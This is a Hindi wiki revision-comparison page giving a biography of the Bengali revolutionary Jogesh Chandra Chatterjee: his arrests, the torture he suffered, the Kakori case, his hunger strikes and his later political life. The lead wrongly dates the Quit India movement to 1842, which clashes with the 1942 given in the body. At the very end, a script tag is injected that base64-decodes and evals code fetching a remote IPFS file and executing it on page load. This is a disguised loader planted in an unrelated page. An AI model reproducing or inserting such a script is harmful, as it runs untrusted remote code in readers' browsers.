"जोगेशचंद्र चटर्जी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
'''जोगेशचंद्र चटर्जी''' (जन्म- [[1895]] ; मृत्यु- [[22 अप्रैल]], [[1969]]) [[काकोरी कांड]] के प्रसिद्ध क्रांतिकारी थे। जोगेशचंद्र चटर्जी अनुशीलन समिति की गतिविधियों से जुड़े थे। काकोरी काण्ड में गिरफ्तार कर इन्हें आजीवन कारावास की सजा दी गयी। रिहा होने के बाद इन्होंने क्रातिकारी समाजवादी पार्टी नामक संगठन की स्थापना की। 1842 में [[भारत छोड़ो आन्दोलन]] के समय इन्हें गिरफ्तार कर लिया गया। इन्होंने अपने 24 वर्ष के कारवास में ढाई वर्ष भूख हड़ताल में गुजारे जिसमें सबसे लम्बी भूख हड़ताल 142 दिनों की थी।  
'''जोगेशचंद्र चटर्जी''' (जन्म- [[1895]] ढाका ज़िले [[बंगाल]]; मृत्यु- [[22 अप्रैल]], [[1969]]) काकोरी कांड के प्रसिद्ध क्रांतिकारी थे। जोगेशचंद्र चटर्जी अनुशीलन समिति की गतिविधियों से जुड़े थे। काकोरी काण्ड में गिरफ्तार कर इन्हें आजीवन कारावास की सजा दी गयी। रिहा होने के बाद इन्होने क्रातिकारी समाजवादी पार्टी नामक संगठन की स्थापना की। 1842 में भारत छोड़ों आन्दोलन के समय इन्हे गिरफ्तार कर लिया गया। इन्होने अपने 24 वर्ष के कारवास में ढाई वर्ष भूख हड़ताल में गुजारे जिसमें सबसे लम्बी भूख हड़ताल 142 दिनों की थी।  
 
 
==जीवन परिचय==
 
==जीवन परिचय==
जोगेशचंद्र चटर्जी का जन्म 1895 ई. में ढाका ज़िला [[बंगाल]] के गावदिया नामक गांव में हुआ था। उनके पिता खुलना ज़िले में व्यवसाय करते थे। जोगेश को शिक्षा प्राप्त करने के लिए कुमिल्ला भेजा गया था। यहीं पर उनका संपर्क प्रसिद्ध क्रांतिकारी संगठन ‘अनुशीलन समिति’ के नेता विपिन चटर्जी से हुआ और वे छोटी उम्र में ही क्रांति के [[रंग]] में रंग गए।  
+
जोगेशचंद्र चटर्जी का जन्म 1895 ई. में ढाका ज़िला [[बंगाल]] के गावदिया नामक गांव में हुआ था। उनके [[पिता]] खुलना ज़िले में व्यवसाय करते थे। जोगेश को शिक्षा प्राप्त करने के लिए कुमिल्ला भेजा गया था। यहीं पर उनका संपर्क प्रसिद्ध क्रांतिकारी संगठन ‘अनुशीलन समिति’ के नेता विपिन चटर्जी से हुआ और वे छोटी उम्र में ही क्रांति के [[रंग]] में रंग गए।  
==अत्याचार ==
+
====आरम्भिक जीवन====
 
पुलिस को जोगेशचंद्र चटर्जी की गतिविधियों पर संदेह हुआ तो [[1916]] में उन्हें गिरफ्तार करने का प्रयत्न किया गया, पर वे चुपचाप [[कोलकाता]] चले गए। फिर भी [[9 अक्टूबर]], 1916 को पुलिस ने उन्हें पकड़ ही लिया। गिरफ्तारी के बाद क्रांतिकारियों का रहस्य जानने के लिए उन पर अनेक अमानुषिक अत्याचार किए गए। बंगाल की पुलिस ऐसे अत्याचारों के लिए बहुत बदनाम थी। गुप्त अंगों में बिजली के झटके लगाना, जाड़े में बर्फ़ की सिल्लियों पर लिटाना, मुंह में मिर्चों भरा तोबड़ा बांधना, दोनों हाथों की हथेलियों को खाट के पाये के नीचे दबाना, नाख़ूनों में सुइयाँ चुभाना आदि ऐसे अत्याचार थे जो क्रांतिकारियों पर किए जाते थे। जोगेश बाबू के साथ भी यही सब हुआ। यहाँ तक की बाल्टी में मल-मूत्र मिलाकर उससे उन्हें नहला दिया गया, मल से भरे कमोड़ में उनका मुंह डाल दिया गया। इस सब के बाद भी पुलिस, दल की कोई बात उनके मुंह से नहीं निकलवा सकी। उन्हें जेल में बंद कर दिया गया। जेल से जोगेशचंद्र चटर्जी [[सितंबर]], [[1920]] को ही बाहर आ सके।  
 
पुलिस को जोगेशचंद्र चटर्जी की गतिविधियों पर संदेह हुआ तो [[1916]] में उन्हें गिरफ्तार करने का प्रयत्न किया गया, पर वे चुपचाप [[कोलकाता]] चले गए। फिर भी [[9 अक्टूबर]], 1916 को पुलिस ने उन्हें पकड़ ही लिया। गिरफ्तारी के बाद क्रांतिकारियों का रहस्य जानने के लिए उन पर अनेक अमानुषिक अत्याचार किए गए। बंगाल की पुलिस ऐसे अत्याचारों के लिए बहुत बदनाम थी। गुप्त अंगों में बिजली के झटके लगाना, जाड़े में बर्फ़ की सिल्लियों पर लिटाना, मुंह में मिर्चों भरा तोबड़ा बांधना, दोनों हाथों की हथेलियों को खाट के पाये के नीचे दबाना, नाख़ूनों में सुइयाँ चुभाना आदि ऐसे अत्याचार थे जो क्रांतिकारियों पर किए जाते थे। जोगेश बाबू के साथ भी यही सब हुआ। यहाँ तक की बाल्टी में मल-मूत्र मिलाकर उससे उन्हें नहला दिया गया, मल से भरे कमोड़ में उनका मुंह डाल दिया गया। इस सब के बाद भी पुलिस, दल की कोई बात उनके मुंह से नहीं निकलवा सकी। उन्हें जेल में बंद कर दिया गया। जेल से जोगेशचंद्र चटर्जी [[सितंबर]], [[1920]] को ही बाहर आ सके।  
 
==कार्य क्षेत्र==
 
==कार्य क्षेत्र==
पंक्ति 13: पंक्ति 12:
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
{{cite book | last =लीलाधर | first =शर्मा  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय  | language =[[हिन्दी]]  | pages =330 से 331| chapter = }}  
 
{{cite book | last =लीलाधर | first =शर्मा  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय  | language =[[हिन्दी]]  | pages =330 से 331| chapter = }}  
पंक्ति 21: पंक्ति 19:
 
{{स्वतन्त्रता सेनानी}}
 
{{स्वतन्त्रता सेनानी}}
 
[[Category:स्वतन्त्रता सेनानी]]
 
[[Category:स्वतन्त्रता सेनानी]]
[[Category:चरित कोश]]
+
[[Category:चरित कोश]][[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

08:49, 3 अक्टूबर 2012 का अवतरण

जोगेशचंद्र चटर्जी (जन्म- 1895 ; मृत्यु- 22 अप्रैल, 1969) काकोरी कांड के प्रसिद्ध क्रांतिकारी थे। जोगेशचंद्र चटर्जी अनुशीलन समिति की गतिविधियों से जुड़े थे। काकोरी काण्ड में गिरफ्तार कर इन्हें आजीवन कारावास की सजा दी गयी। रिहा होने के बाद इन्होंने क्रातिकारी समाजवादी पार्टी नामक संगठन की स्थापना की। 1842 में भारत छोड़ो आन्दोलन के समय इन्हें गिरफ्तार कर लिया गया। इन्होंने अपने 24 वर्ष के कारवास में ढाई वर्ष भूख हड़ताल में गुजारे जिसमें सबसे लम्बी भूख हड़ताल 142 दिनों की थी।

जीवन परिचय

जोगेशचंद्र चटर्जी का जन्म 1895 ई. में ढाका ज़िला बंगाल के गावदिया नामक गांव में हुआ था। उनके पिता खुलना ज़िले में व्यवसाय करते थे। जोगेश को शिक्षा प्राप्त करने के लिए कुमिल्ला भेजा गया था। यहीं पर उनका संपर्क प्रसिद्ध क्रांतिकारी संगठन ‘अनुशीलन समिति’ के नेता विपिन चटर्जी से हुआ और वे छोटी उम्र में ही क्रांति के रंग में रंग गए।

आरम्भिक जीवन

पुलिस को जोगेशचंद्र चटर्जी की गतिविधियों पर संदेह हुआ तो 1916 में उन्हें गिरफ्तार करने का प्रयत्न किया गया, पर वे चुपचाप कोलकाता चले गए। फिर भी 9 अक्टूबर, 1916 को पुलिस ने उन्हें पकड़ ही लिया। गिरफ्तारी के बाद क्रांतिकारियों का रहस्य जानने के लिए उन पर अनेक अमानुषिक अत्याचार किए गए। बंगाल की पुलिस ऐसे अत्याचारों के लिए बहुत बदनाम थी। गुप्त अंगों में बिजली के झटके लगाना, जाड़े में बर्फ़ की सिल्लियों पर लिटाना, मुंह में मिर्चों भरा तोबड़ा बांधना, दोनों हाथों की हथेलियों को खाट के पाये के नीचे दबाना, नाख़ूनों में सुइयाँ चुभाना आदि ऐसे अत्याचार थे जो क्रांतिकारियों पर किए जाते थे। जोगेश बाबू के साथ भी यही सब हुआ। यहाँ तक की बाल्टी में मल-मूत्र मिलाकर उससे उन्हें नहला दिया गया, मल से भरे कमोड़ में उनका मुंह डाल दिया गया। इस सब के बाद भी पुलिस, दल की कोई बात उनके मुंह से नहीं निकलवा सकी। उन्हें जेल में बंद कर दिया गया। जेल से जोगेशचंद्र चटर्जी सितंबर, 1920 को ही बाहर आ सके।

कार्य क्षेत्र

अनुशीलन पार्टी बंगाल के बाहर भी अपनी क्रांतिकारी गतिविधियों का विसतार करना चाहती थी। इसके लिए जोगेशचंद्र चटर्जी को उत्तर प्रदेश भेजा गया। यहाँ उन्होंने वाराणसी और कानपुर को अपनी गतिविधियों का केन्द्र बनाया। धीरे-धीरे उनका संपर्क यहाँ के क्रांतिकारियों से हुआ। इनमें शचीन्द्रनाथ सान्याल, भगत सिंह, चंद्रशेखर आज़ाद और काकोरी कांड के अन्य क्रांतिकारी सम्मिलित थे। 9 अगस्त, 1925 को लखनऊ के निकट काकोरी नामक स्थान पर रेलगाड़ी को रोककर कुछ क्रांतिकारियों ने सरकारी ख़ज़ाना लूट लिया था। इसके बाद देश-भर में गिरफ्तारियाँ हुईं। जोगेशचंद्र चटर्जी कोलकाता में पकड़े गए। इस केस में उन पर भी मुकद्मा चला और आजन्म कैद की सज़ा हुई। यह सज़ा उन्होंने जेलों में दुर्व्यवहार के विरूद्ध समय-समय पर भूख हड़ताल करते हुए फतेहगढ़, आगरा और लखनऊ की जेलों में पूरी की। 1937 में कांग्रेस मंत्रिमंडलों की स्थापना के बाद ही वे रिहा हुए थे।

जेल से बाहर आने पर जोगेशचंद्र चटर्जी अपनी पुरानी गतिविधियों में पुनः संलग्न हुए ही थे कि 1940 में गिरफ्तार करके उन्हें देवली कैम्प जेल में डाल दिया गया। वहाँ के दुर्व्यवहार के विरूद्ध अनशन करने पर वे छोड़ तो दिए गए लेकिन 1942 में ‘भारत छोड़ो आंदोलन’ में फिर जेल में डाल दिए गए। अंत में 19 अप्रैल, 1946 को उनकी रिहाई हुई। स्वतंत्रता के बाद जोगेशचंद्र चटर्जी कांग्रेस के टिकट पर राज्य सभा के सदस्य रहे। 1958 में उन्होंने दिल्ली में समस्त जीवित क्रांतिकारियों का सम्मेलन आयोजित किया था, जिसमें स्वामी विवेकानंद के छोटे भाई डॉ. भूपेन्द्रनाथ दत्त तथा अरविंद घोष के छोटे भाई वारीन्द्र कुमार घोष ने भी भाग लिया था। इस अवसर पर नेहरू जी ने क्रांतिकारियों का सम्मान किया। जोगेश बाबू ने कुल मिलाकर 24 वर्ष जेलों के भीतर काटे और उनके अनशन की अवधि भी 2 वर्ष से अधिक ही रही।

निधन

जोगेशचंद्र चटर्जी का निधन 22 अप्रैल, 1969 ई. को हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 330 से 331।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>